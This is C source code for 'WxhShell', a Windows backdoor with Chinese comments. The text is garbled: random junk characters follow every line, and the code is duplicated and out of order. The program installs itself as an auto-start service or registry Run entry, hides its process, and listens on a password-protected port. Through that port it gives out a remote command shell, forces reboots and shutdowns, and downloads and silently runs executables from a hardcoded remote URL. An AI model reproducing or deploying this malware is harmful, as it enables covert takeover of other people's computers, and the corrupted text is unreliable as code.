    closesocket(wsh); p0pWzwTG3  
    ExitThread(0); @_z4tUP  
    } Q?X>E3=U  
    break; 'MY/*k7:  
    } ;D$)P7k6  
  // 获取shell +E1h#cc)  
  case 's': { GaSPJt   
    CmdShell(wsh); Y/7 $1k  
    closesocket(wsh); `:axzCrCfR  
    ExitThread(0); /B}lO0]:  
    break; rylzcN9RM$  
  } t#2(j1  
  // 退出 5<w g 8y  
  case 'x': { 2,*M|+W~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p QizJ6  
    CloseIt(wsh); xNbPsoK  
    break; $LU"?aAW  
    } &-;5* lg)0  
  // 离开 p/h Rk<K6  
  case 'q': { YY!Rz[/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l]5w$dded~  
    closesocket(wsh); f%*/cpA)  
    WSACleanup(); +>PX&F  
    exit(1); /E\%>wv  
    break; RU\/j%^  
        } 4]E3c AJ  
  } KRA/MQ^7~U  
  } ow]053:i  
hvaSH69*m  
  // 提示信息 !@v7Zu43,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X*\ J_  
} K1T4cUo  
  } yNTK .  
ctGL-kp  
  return; >:b Q  
} q*9!,!e  
jB(|";G  
// shell模块句柄 ^N)R=tl  
int CmdShell(SOCKET sock) Ct>GYk$  
{ ?[ lV-  
STARTUPINFO si; %ALwz[~]  
ZeroMemory(&si,sizeof(si)); ^cuc.g)c$?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [D4Es  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8#g1P4  
PROCESS_INFORMATION ProcessInfo; a8UwhjFO  
char cmdline[]="cmd"; \:UIc*S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s ']Bx=  
  return 0; mV pMh#zw  
} lx7Q.su'  
?)ONf#4Y  
// 自身启动模式 k-^mIJo}  
int StartFromService(void) _+E5T*dk  
{ K>@+m  
typedef struct 73\JwOn~  
{ 6l:qD`_  
  DWORD ExitStatus; |0f>aZ  
  DWORD PebBaseAddress; ]&Rx@&e*  
  DWORD AffinityMask; pW J Fz-  
  DWORD BasePriority; /PSd9N*=y  
  ULONG UniqueProcessId; jr:7?8cH0L  
  ULONG InheritedFromUniqueProcessId; )`(p9@,V  
}   PROCESS_BASIC_INFORMATION; g0["^P1tV  
G VYkJ0,  
PROCNTQSIP NtQueryInformationProcess; YF>m$?;  
!*B'?|a<\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b?lD(fa&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .E8_Oz  
/~$WUAh  
  HANDLE             hProcess;  KJaXg;,H  
  PROCESS_BASIC_INFORMATION pbi; '|8} z4/g  
%/zbgS`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c2'Lfgx4  
  if(NULL == hInst ) return 0; hRD=Y<>A  
?WqT[MnK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P"8~$ P#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UKT%13CO4U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3@$,s~+ 3  
.ufTQ?Fe  
  if (!NtQueryInformationProcess) return 0; AW!?"xdZ  
|8l<$J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tnN.:%mZ  
  if(!hProcess) return 0; /)}q Xx&  
Ch|jtVeuyJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i/`m`qdg  
_ 4U5  
  CloseHandle(hProcess); H2jgO?l;!  
OuID%p"O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1Vrh4g.l  
if(hProcess==NULL) return 0; 5A3xVN=  
~5%W:qwQ  
HMODULE hMod; ZQ%'`q\c  
char procName[255]; xy/`ZS2WPq  
unsigned long cbNeeded; %\dz m-d(C  
vyK7I%T'R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mb|a+,:>3  
F@'Jbd`   
  CloseHandle(hProcess); ^6MU 0Q2  
7XTkX"zKj  
if(strstr(procName,"services")) return 1; // 以服务启动 z"-u95H  
"$+Jnc!!  
  return 0; // 注册表启动 ?mFv0_!O  
} aW)-?(6>  
4ew" %Cs*  
// 主模块 5 ZGNz1)?V  
int StartWxhshell(LPSTR lpCmdLine) 8*#R]9  
{ cdl&9-}  
  SOCKET wsl; a!7A_q8M  
BOOL val=TRUE; =jOv] /  
  int port=0; t{^*6XOcJ  
  struct sockaddr_in door; c'>/  
)wam8k5  
  if(wscfg.ws_autoins) Install(); P;=n9hgHI  
5cL83FQh  
port=atoi(lpCmdLine); zZPuha8  
]@j*/IP  
if(port<=0) port=wscfg.ws_port; B(LWdap~  
*4Thd:7 `  
  WSADATA data; 0QXVW}`hz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5[k/s}g  
s C%&cRQD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +Mo9kC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [842&5Pd?  
  door.sin_family = AF_INET; 0=@?ob7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :|V$\!o'U  
  door.sin_port = htons(port); Se :.4<  
|oH,   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qON|4+~u%  
closesocket(wsl); &zl|87M  
return 1; H*RC@O_hv  
} BgurzS4-  
j"ThEx0  
  if(listen(wsl,2) == INVALID_SOCKET) { 8;b( 0^  
closesocket(wsl); f2Klt6"9  
return 1; $UMFNjL  
} ZXqSH${Tp  
  Wxhshell(wsl); s:>Va GC  
  WSACleanup(); bR*-Ht+wd  
;(f) &Yom  
return 0; ,X[kt z  
Fsmycr!R  
} aE`c%T):`  
/f:dv?!km  
// 以NT服务方式启动 Q8:Has  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m'Amli@[  
{ 5L+>ewl  
DWORD   status = 0; ~ Sg5:T3  
  DWORD   specificError = 0xfffffff; 5gb|w\N>  
Jj>?GAir  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .f*4T4eR-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ye"o6_U "  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9=vMgW  
  serviceStatus.dwWin32ExitCode     = 0; G"-?&)M#a  
  serviceStatus.dwServiceSpecificExitCode = 0; ^nT/i .#_  
  serviceStatus.dwCheckPoint       = 0; @oNH@a j%  
  serviceStatus.dwWaitHint       = 0;  ,V,`Jf  
-E^vLB)O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :By?O"LQ  
  if (hServiceStatusHandle==0) return; +DW~BS3  
TTeH `  
status = GetLastError(); h%o%fH&F!  
  if (status!=NO_ERROR) R?GDJ3  
{ ZOft.P O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X@$f$=  
    serviceStatus.dwCheckPoint       = 0; X\`_3=  
    serviceStatus.dwWaitHint       = 0; > A Khf  
    serviceStatus.dwWin32ExitCode     = status; Qi ua  
    serviceStatus.dwServiceSpecificExitCode = specificError; NaPt"G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WzPTFw[  
    return; O}+.U<V  
  } @KWb+?_H{<  
$*SW8'],`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3/aMJR:o  
  serviceStatus.dwCheckPoint       = 0; S/}2;\Xm  
  serviceStatus.dwWaitHint       = 0; Lrta/SU*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8qY79)vD4E  
} DwaBdN[!7  
Keuf9u  
// 处理NT服务事件,比如:启动、停止 X>d"]GD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x^HGVWw_  
{ qOe+ZAJ{%N  
switch(fdwControl) :V1W/c  
{ udxFz2>_l$  
case SERVICE_CONTROL_STOP: Uo-)pFN^  
  serviceStatus.dwWin32ExitCode = 0; O;z,qo X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t0/p]=+.p/  
  serviceStatus.dwCheckPoint   = 0; jK!Au  
  serviceStatus.dwWaitHint     = 0; KX!T8+Y  
  { NhfJ30~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DQNnNsP:M-  
  } z8jk[5z  
  return; | h`0u'#  
case SERVICE_CONTROL_PAUSE: 8I-u2Y$Sr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u}>#Eb  
  break; " W!M[qBW  
case SERVICE_CONTROL_CONTINUE: /mXBvY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; , `wXg  
  break; {G|,\O1  
case SERVICE_CONTROL_INTERROGATE: ~J5+i9T.)  
  break; Q~814P8]  
}; oeKHqP wg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N8!cO[3Oh  
} ;KOLNi-B&  
uXI_M)  
// 标准应用程序主函数 2{]`W57_=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3,>0a  
{ YsG%6&zEq  
ln$&``L  
// 获取操作系统版本 dI*pDDq#  
OsIsNt=GetOsVer(); T:t]"d}}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h "Xg;(K  
s4G|_==  
  // 从命令行安装 $i&e[O7T;  
  if(strpbrk(lpCmdLine,"iI")) Install(); wi hH?~]  
So{x]x:f  
  // 下载执行文件 6S\C}U/   
if(wscfg.ws_downexe) { $9 ]m=S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,^?^ dB  
  WinExec(wscfg.ws_filenam,SW_HIDE); n/DP>U$I&  
} nS/)P4z  
 '/`= R  
if(!OsIsNt) { gfX\CSGy  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]NjX?XdX<  
HideProc(); SLO%7%>p  
StartWxhshell(lpCmdLine); >QA uEM  
} e@c0WlWa  
else F4It/  
  if(StartFromService()) L~_9_9c  
  // 以服务方式启动 "Weg7mc#  
  StartServiceCtrlDispatcher(DispatchTable); 0%,!jW{`  
else "vXxv'0\f  
  // 普通方式启动 dArDP[w  
  StartWxhshell(lpCmdLine); e:DkGy`-s  
{88)~  
return 0; k9)jjR*XxG  
} Fkvl%n  
JmPHAUd  
W)9K`hM6  
JXCCTUO  
=========================================== O_$m!5ug  
e7tp4M9!%  
gOb"-;Zw  
9B3+$uP  
1?I_fA}  
R|D%1@i]  
" R` g'WaDk  
(>]frlEU~  
#include <stdio.h> Wdk]>w 'L  
#include <string.h> 0nr5(4h  
#include <windows.h> 65]>6D43  
#include <winsock2.h> kB[l6`  
#include <winsvc.h> A_8Xhem${  
#include <urlmon.h> Hnft1   
?i{/iH~Sf  
#pragma comment (lib, "Ws2_32.lib") R1 C}S  
#pragma comment (lib, "urlmon.lib") GBYeiEgZh  
qt{lZ_$  
#define MAX_USER   100 // 最大客户端连接数 h-.xx 4D  
#define BUF_SOCK   200 // sock buffer q!;u4J  
#define KEY_BUFF   255 // 输入 buffer /6 y9 u}  
!P8Y(i  
#define REBOOT     0   // 重启 3-/F]}0y6  
#define SHUTDOWN   1   // 关机 =O%Hf bx  
I|x? K>  
#define DEF_PORT   5000 // 监听端口 s3-TBhAv  
#_SsSD=.Sy  
#define REG_LEN     16   // 注册表键长度 [CG3&J  
#define SVC_LEN     80   // NT服务名长度 U3**x5F_  
p!o-+@ava  
// 从dll定义API mWUkkR(/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8|L;y[v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SPT?Tt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tdsfCvF= a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8,@0~2fz#  
dL]wu! wE  
// wxhshell配置信息 Na>w~  
struct WSCFG { 6$)FQ U  
  int ws_port;         // 监听端口 %(1Jt "9|  
  char ws_passstr[REG_LEN]; // 口令 }U'VVPh _  
  int ws_autoins;       // 安装标记, 1=yes 0=no r]0>A&,  
  char ws_regname[REG_LEN]; // 注册表键名 (u4'*[o\t  
  char ws_svcname[REG_LEN]; // 服务名 ~ <36vsk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fHODS9HQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0qq>(K[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B[IWgvB(e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EK&";(x2(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m[CyvcF*u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =w!2R QB  
I~GHx5Dk  
}; IISdC(5  
"$/1.SX;]  
// default Wxhshell configuration  p9 G{Q  
struct WSCFG wscfg={DEF_PORT, ix hF,F  
    "xuhuanlingzhe", M._;3_)%/  
    1, Wo(m:q(Om  
    "Wxhshell", O!ilTMr  
    "Wxhshell", ;t M  
            "WxhShell Service", \.'[!GE*c  
    "Wrsky Windows CmdShell Service", zR4]buHnE  
    "Please Input Your Password: ", I7W`\d)  
  1, Ih N^*P:Fo  
  "http://www.wrsky.com/wxhshell.exe", R$p(5>#\5  
  "Wxhshell.exe" i;atYltEJ2  
    }; +z[+kir  
==UYjbuU  
// 消息定义模块  Cmp5or6d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AB{zkEuK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (*b<IGi;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1?yj<^"  
char *msg_ws_ext="\n\rExit."; )~Gn7  
char *msg_ws_end="\n\rQuit."; B<ncOe  
char *msg_ws_boot="\n\rReboot..."; ##%&*vh  
char *msg_ws_poff="\n\rShutdown..."; ;%Px~g  
char *msg_ws_down="\n\rSave to "; +f%"O?  
^?wR{q"8  
char *msg_ws_err="\n\rErr!"; N~0ih T G5  
char *msg_ws_ok="\n\rOK!"; 1]9w9! j  
SdN&%(ZE  
char ExeFile[MAX_PATH]; )dFPfu&HL  
int nUser = 0; <5^m`F5  
HANDLE handles[MAX_USER]; C_'EO<w$  
int OsIsNt; D.-G!0!  
5F!Qn\{u{  
SERVICE_STATUS       serviceStatus; 93Zij<bH?e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p_ f<@WE  
PxQQfI>  
// 函数声明 7#W]Qj  
int Install(void); &2U%/JqY  
int Uninstall(void); ^^zj4 }On?  
int DownloadFile(char *sURL, SOCKET wsh); Aix6O=K6  
int Boot(int flag); `N&*+!O%  
void HideProc(void); vcsSi%M\U  
int GetOsVer(void); FZW`ADq]  
int Wxhshell(SOCKET wsl); mE5{)<N:C  
void TalkWithClient(void *cs); @?3^ Ks_  
int CmdShell(SOCKET sock); 5eE\ X /  
int StartFromService(void); E p;i],}  
int StartWxhshell(LPSTR lpCmdLine); jf-XVk5q  
"\O7_od-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7y&6q`y E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sQj]#/yK:  
Z'>UR.g  
// 数据结构和表定义 ;[UI ]?A%  
SERVICE_TABLE_ENTRY DispatchTable[] = ^N[ Cip}8  
{ t$%<eF@w  
{wscfg.ws_svcname, NTServiceMain}, cc*?4C/t  
{NULL, NULL} C0 KFN  
}; bS2g4]$'po  
FZn1$_Svr  
// 自我安装 <tBT?#C9+  
int Install(void) 4r `I)  
{ -3i(N.)<;  
  char svExeFile[MAX_PATH]; %qz-b.  
  HKEY key; -(F} =o'  
  strcpy(svExeFile,ExeFile); ~?Vod|>  
Y JMs9X~3  
// 如果是win9x系统,修改注册表设为自启动 #O !2  
if(!OsIsNt) { Z{BK@Q4z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C3Q #[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $u.rO7)  
  RegCloseKey(key); 717THci3Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B)[RIs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); km C0.\  
  RegCloseKey(key); hHTt-x#  
  return 0; $x`HmL3Sb  
    } yna!L@ *@,  
  } {q`8+$Z;  
} <uv `)Q9  
else { %6 Av1cv  
u-|%K.A  
// 如果是NT以上系统,安装为系统服务 gJr)z7W'8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K=o {  
if (schSCManager!=0) 3))CD,|  
{ h6?^rS8U  
  SC_HANDLE schService = CreateService j@(S7=^C6%  
  ( 7Z`4Kdh .  
  schSCManager, A r~/KRK  
  wscfg.ws_svcname, *X$qgSW  
  wscfg.ws_svcdisp, J)B3o$  
  SERVICE_ALL_ACCESS, ?i0+h7 =6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y\;oZ]J  
  SERVICE_AUTO_START, -e(<Jd_=  
  SERVICE_ERROR_NORMAL, 1="]'!2Is  
  svExeFile, eA2*}"W  
  NULL, r3U7`P   
  NULL, ~&p]kmwXSX  
  NULL, g]HWaFjc5  
  NULL, yN{**?b  
  NULL ?>*d82yO  
  ); guYP|  
  if (schService!=0) hfLe<,  
  { `Zo5!"'  
  CloseServiceHandle(schService); /<LjD  
  CloseServiceHandle(schSCManager); uKXU.u*C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !gRU;ZQU_  
  strcat(svExeFile,wscfg.ws_svcname); q1 q~%+Jy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ag:<%\2c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j -o  
  RegCloseKey(key); ~I> |f  
  return 0; c/bT5TIEWs  
    } jWxa [ >  
  } ?:60lCqj  
  CloseServiceHandle(schSCManager); :/=P6b;  
} E{JTy{z-  
} 8i`T?KB  
g=4P-i3   
return 1; B &Z0ZWx  
} %1;Y`>  
K ~\b+  
// 自我卸载 b4$.uLY  
int Uninstall(void) v8E:64  
{ Z%.L d2Q{  
  HKEY key; Dy. |bUB!f  
8sDw:wTC  
if(!OsIsNt) { SP2";,%/9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L)|hjpQ  
  RegDeleteValue(key,wscfg.ws_regname); GPs4:CIgG  
  RegCloseKey(key); .ejC#vB{KM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _%rkN0-(a  
  RegDeleteValue(key,wscfg.ws_regname); ,bzgjw+R5  
  RegCloseKey(key); 7[kDc-  
  return 0; I %1P:-  
  } <Vyl*a{%  
} !h1|B7N  
} yyVJb3n5:!  
else { o~:({  
0_>1CW+X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [e.`M{(TB  
if (schSCManager!=0) =x^IBLHN  
{ sV~|9/r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]a~gnz&1  
  if (schService!=0) Sf`?j  
  { i2O$oHd  
  if(DeleteService(schService)!=0) { ~ebm,3?  
  CloseServiceHandle(schService); G @L `[Wu  
  CloseServiceHandle(schSCManager); M|z4Dy  
  return 0; +>mU4Fwp  
  } a! x?Apww  
  CloseServiceHandle(schService); kafj?F  
  } F*B^#AZg  
  CloseServiceHandle(schSCManager); )hA)`hL F  
} z{> )'A/  
} UUgc>   
]'i}}/}u2  
return 1; l=&Va+K  
}  #|l#  
);z/ @Q  
// 从指定url下载文件 l(tMo7iPa  
int DownloadFile(char *sURL, SOCKET wsh) Z oKXao  
{ [ 3SbWwg  
  HRESULT hr; /$ueLa  
char seps[]= "/"; g>f_'7F&  
char *token; _3Q8R}  
char *file; hKK"D:?PRs  
char myURL[MAX_PATH]; ^w}BXVn  
char myFILE[MAX_PATH]; DVyxe}  
<m?/yRE K2  
strcpy(myURL,sURL); r?n3v[B  
  token=strtok(myURL,seps); #J c)v0_  
  while(token!=NULL) ,#=;V"~9  
  { ZEU/6.  
    file=token; #>\8m+h 9  
  token=strtok(NULL,seps); PHn3f;I  
  } Rwz (20n\^  
L/J)OJe\  
GetCurrentDirectory(MAX_PATH,myFILE); M$GZK'%  
strcat(myFILE, "\\"); >_?Waz %  
strcat(myFILE, file); Wp$'#HhB  
  send(wsh,myFILE,strlen(myFILE),0); M6b6lhg  
send(wsh,"...",3,0); 6~6*(s|]A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GCA?sFwo>  
  if(hr==S_OK) Y]t)k9|vv  
return 0; 6oLq2Z8uP  
else Z\M8DZW8Y  
return 1; W[tX%B  
|b:91l  
} .EoLJHL }  
rw ou[QU  
// 系统电源模块 2r&T.  
int Boot(int flag) HBnnIbEtF'  
{ jPNm $Y1  
  HANDLE hToken; 7vs>PV  
  TOKEN_PRIVILEGES tkp; w[wrZ:[  
+gOv5Eno-  
  if(OsIsNt) { qBIKJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (>Tq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V ZArdXTP  
    tkp.PrivilegeCount = 1; o=VDO,eS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ${F] N }  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;4 ON  
if(flag==REBOOT) { Ui`Z>,0sFi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x7]Yn'^'  
  return 0; @eGJ_ J  
} *^&2L,w  
else { wfxg@<WR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k/ 9S  
  return 0; qEoa%O  
} !4f0VQI  
  } Xr@]7: ,  
  else { u/BCl!`  
if(flag==REBOOT) { ,1+)qv#|i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n_/_Y >{M0  
  return 0; (E*eq-8  
} uxd5XS  
else { }G#TYF}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _8CE|<Cn  
  return 0; Kf$%C"  
} @sAT#[j  
} I(*4N^9++  
?m?DAd~ZY  
return 1;  Wb/q&o  
} .(0'l@#fT  
L+&eY?A  
// win9x进程隐藏模块 $=iV)-  
void HideProc(void) .*N,x0 B(  
{ 1h.N &;vy  
t@TBx=16  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +d0&(b  
  if ( hKernel != NULL ) w}<CH3cx  
  { =!b<@41  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >+w(%;i;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gm63dE>  
    FreeLibrary(hKernel); CVh^~!"7j  
  } .&AS-">Z  
$\|$ekil4  
return; pFLR!/J  
} YI=03}I  
v(T;Y=&  
// 获取操作系统版本 G H N  
int GetOsVer(void) O3JN?25s  
{ <Q06<{]R8  
  OSVERSIONINFO winfo; ik@g;>pQD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MOuI;EF  
  GetVersionEx(&winfo); dc MWCK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \>8"r,hG|  
  return 1; 2Rc'1sCth-  
  else ~ N+bD  
  return 0; 2t3'"8xJ  
} NJG-~ w  
p!MOp-;-  
// 客户端句柄模块 jlV~-}QKb7  
int Wxhshell(SOCKET wsl) !\Y85o>JU  
{ pm+_s]s,  
  SOCKET wsh; 4#$~gTc@  
  struct sockaddr_in client; m L#-U)?F  
  DWORD myID; sjpcz4|K  
v,N*vqWS  
  while(nUser<MAX_USER) #{)=%5=c  
{ n&Q{ [E  
  int nSize=sizeof(client); }yup`R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^zv0hGk2  
  if(wsh==INVALID_SOCKET) return 1; +'9l 2DI;  
VC "66 \d&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .'md `@t  
if(handles[nUser]==0) TSHsEcfO  
  closesocket(wsh); fRp+-QvE  
else ;iJ*.wVq  
  nUser++; jTbJL  
  } *{t{/^'y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &?m|PK)I  
3 8>?Z ]V  
  return 0; 3fJ GJW!zu  
} $;1#gq%  
v\>!J?  
// 关闭 socket ?mxBMtc  
void CloseIt(SOCKET wsh) 29DYL  
{ zKr\S |yE  
closesocket(wsh); ~y.{WuUD  
nUser--; rPVz !(;k  
ExitThread(0); F-?K]t#  
} 8RJXY:%  
t|Cp<k]B  
// 客户端请求句柄 R=g~od[N_  
void TalkWithClient(void *cs) %N#8D<ULd  
{ ig(a28%  
L&O!"[++  
  SOCKET wsh=(SOCKET)cs; x8i;uH\8  
  char pwd[SVC_LEN]; (Zi(6 T\z  
  char cmd[KEY_BUFF]; D_oGhQYY4  
char chr[1]; )N`a4p  
int i,j; 0|<ER3xkx  
QeP8Vl&e:  
  while (nUser < MAX_USER) { s`W\`w}  
HvSKR1wL\  
if(wscfg.ws_passstr) { _=9o:F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pt~mpRl H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a+!#cQl  
  //ZeroMemory(pwd,KEY_BUFF); 40}qf}8n t  
      i=0; [MfKBlA  
  while(i<SVC_LEN) { WZq0$:I;R  
hA1\+r  
  // 设置超时 <rd7<@>5D  
  fd_set FdRead; _" 0VM >  
  struct timeval TimeOut; 1vlRzkd  
  FD_ZERO(&FdRead); `2X~3im  
  FD_SET(wsh,&FdRead); p!^.;c  
  TimeOut.tv_sec=8; OZ\]6]L  
  TimeOut.tv_usec=0; d#yb($HAJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]Igd<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \a]JH\T)Q  
J [}8&sn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `$j"nP F_  
  pwd=chr[0]; ,L ;ueAo  
  if(chr[0]==0xd || chr[0]==0xa) { ~Xi_bTAyAW  
  pwd=0; 0Lcd@3XL  
  break; {=Y%=^!s  
  } pE{ZWW[@+  
  i++; A<ca9g3  
    } ~_C[~-  
O>e2MT|#k  
  // 如果是非法用户,关闭 socket jt|e?1:vF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wYnsd7@I  
} @QiuCB  
vt0XCUnK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d~f_wN&r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E!.>*`)?.  
g{K*EL <  
while(1) { K3jKOV8   
F9rxm  
  ZeroMemory(cmd,KEY_BUFF); {fXD@lhi  
lUWX[,  
      // 自动支持客户端 telnet标准   l);M(<  
  j=0; %00KOM:  
  while(j<KEY_BUFF) { o*OYZ/_L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6gz !K"S  
  cmd[j]=chr[0]; 5~&9/ ALk5  
  if(chr[0]==0xa || chr[0]==0xd) { 7J@iJW],,  
  cmd[j]=0; A&%vog]O  
  break; ">='l9  
  } h}PeXnRU  
  j++; aewVq@ngq!  
    } :o$k(X7a  
ut8v&i1?  
  // 下载文件 aO :wedfl  
  if(strstr(cmd,"http://")) { Rlc$2y@pU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Db"jzMW.  
  if(DownloadFile(cmd,wsh)) ~,[<R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +"1@ 6,M  
  else yhzC 9nTH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ M?VJ\8  
  } I8*_\Ez  
  else { mS)|i+5  
$ ?ayE  
    switch(cmd[0]) { M7U:UV)  
  38<!Dt+S(,  
  // 帮助 MTm}qx@L  
